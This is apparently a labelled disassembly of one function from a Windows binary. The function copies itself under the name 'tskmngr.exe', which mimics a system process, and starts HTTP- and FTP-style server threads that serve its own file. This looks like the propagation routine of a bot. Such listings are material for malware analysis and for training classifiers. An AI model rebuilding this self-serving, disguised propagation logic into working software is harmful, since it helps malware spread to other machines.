Function at 0x41058b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
cmp dword [ebp + 0x138], 0xffffffff
je 0x4109e0
mov eax, dword [ebp + 0x138]
imul eax, eax, 0x3c
cmp dword [eax + 0x443a4c], 0
je 0x410872
push 4
call fcn.0041db72
pop ecx
test eax, eax
jne 0x41086d
mov eax, dword [0x440914]
mov dword [0x4dfaac], eax
and dword [0x4dfaa8], 0
push 0x104
push 0x4df89c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x103
push str.tskmngr.exe
push 0x4df9a0
call fcn.0041ed20
add esp, 0xc
mov eax, dword [ebp + 0x118]
mov dword [0x4df898], eax
mov eax, dword [ebp + 0x140]
mov dword [0x4dfb30], eax
movsx eax, byte [ebp + 0x98]
test eax, eax
jne 0x410641
push 0x7f
lea eax, [ebp + 0x18]
push eax
push 0x4dfab0
call fcn.0041ed20
add esp, 0xc
mov dword [0x4dfb34], 1
jmp 0x41065e
push 0x7f
lea eax, [ebp + 0x98]
push eax
push 0x4dfab0
call fcn.0041ed20
add esp, 0xc
and dword [0x4dfb34], 0
push 0x4df9a0
push 0x4df89c
push dword [0x4dfaac]
push str._MAIN_
push str._s_Server_started_on_Port:__d__File:__s__Request:__s.
lea eax, [ebp - 0x200]
push eax
call fcn.0041ee40
add esp, 0x18
push 0
push 4
lea eax, [ebp - 0x200]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [0x4dfaa4], eax
lea eax, [ebp - 0x204]
push eax
push 0
push 0x4df898
push fcn.0040ef40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x4dfaa4]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
mov eax, dword [0x4dfaa4]
imul eax, eax, 0x244
cmp dword [eax + 0x44bb30], 0
je 0x4106f7
cmp dword [0x4dfb38], 0
jne 0x4106f5
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4106e2
jmp 0x410717
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._MAIN_
push 0x443bb0
lea eax, [ebp - 0x200]
push eax
call fcn.0041ee40
add esp, 0x10
lea eax, [ebp - 0x200]
push eax
call fcn.0040a845
pop ecx
and dword [0x4e0100], 0
push 0x104
push 0x4dfef4
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x103
push str.tskmngr.exe
push 0x4dfff8
call fcn.0041ed20
add esp, 0xc
mov eax, dword [ebp + 0x118]
mov dword [0x4dfef0], eax
mov eax, dword [ebp + 0x140]
mov dword [0x4e0188], eax
movsx eax, byte [ebp + 0x98]
test eax, eax
jne 0x410794
push 0x7f
lea eax, [ebp + 0x18]
push eax
push 0x4e0108
call fcn.0041ed20
add esp, 0xc
mov dword [0x4e018c], 1
jmp 0x4107b1
push 0x7f
lea eax, [ebp + 0x98]
push eax
push 0x4e0108
call fcn.0041ed20
add esp, 0xc
and dword [0x4e018c], 0
push 0x4dfff8
push 0x4dfef4
push dword [0x4e0104]
push str._FTP_:_Server_started_on_Port:__d__File:__s__Request:__s.
lea eax, [ebp - 0x200]
push eax
call fcn.0041ee40
add esp, 0x14
push 0
push 5
lea eax, [ebp - 0x200]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [0x4e00fc], eax
lea eax, [ebp - 0x204]
push eax
push 0
push 0x4dfef0
push 0x41476d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x4e00fc]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
mov eax, dword [0x4e00fc]
imul eax, eax, 0x244
cmp dword [eax + 0x44bb30], 0
je 0x410845
cmp dword [0x4e0190], 0
jne 0x410843
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x410830
jmp 0x410860
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._FTP_:_Failed_to_start_server__error:___d_.
lea eax, [ebp - 0x200]
push eax
call fcn.0041ee40
add esp, 0xc
lea eax, [ebp - 0x200]
push eax
call fcn.0040a845
pop ecx
jmp 0x4109e0
mov eax, dword [ebp + 0x138]
imul eax, eax, 0x3c
cmp dword [eax + 0x443a50], 0
je 0x4109e0
push 3
call fcn.0041db72
pop ecx
test eax, eax
jne 0x4109e0
push 0x104
push 0x4dfdcc
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
push 0x4dfdcc
call fcn.0041f990
pop ecx
pop ecx
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0
je 0x4108d0
mov eax, dword [ebp - 0x208]
and byte [eax], 0
mov eax, dword [0x440918]
mov dword [0x4dfed0], eax
and dword [0x4dfee4], 0
lea eax, [ebp + 0x18]
push eax
push 0x4dfb44
call fcn.0041ee40
pop ecx
pop ecx
mov eax, dword [ebp + 0x118]
mov dword [0x4dfb40], eax
mov eax, dword [ebp + 0x140]
mov dword [0x4dfedc], eax
mov eax, dword [ebp + 0x144]
mov dword [0x4dfee0], eax
push 0x4dfdcc
push dword [0x4dfed0]
push dword [ebp + 0x118]
call fcn.0040c969
pop ecx
push eax
push str._MAIN_
push str._s_Server_listening_on_IP:__s:_d__Directory:__s.
lea eax, [ebp - 0x200]
push eax
call fcn.0041ee40
add esp, 0x18
push 0
push 3
lea eax, [ebp - 0x200]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [0x4dfed8], eax
lea eax, [ebp - 0x204]
push eax
push 0
push 0x4dfb40
push 0x40cabb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x4dfed8]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
mov eax, dword [0x4dfed8]
imul eax, eax, 0x244
cmp dword [eax + 0x44bb30], 0
je 0x4109b3
cmp dword [0x4dfeec], 0
jne 0x4109b1
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x41099e
jmp 0x4109d3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._MAIN_
push str._s_Failed_to_start_server__error:___d_.
lea eax, [ebp - 0x200]
push eax
call fcn.0041ee40
add esp, 0x10
lea eax, [ebp - 0x200]
push eax
call fcn.0040a845
pop ecx
leave
ret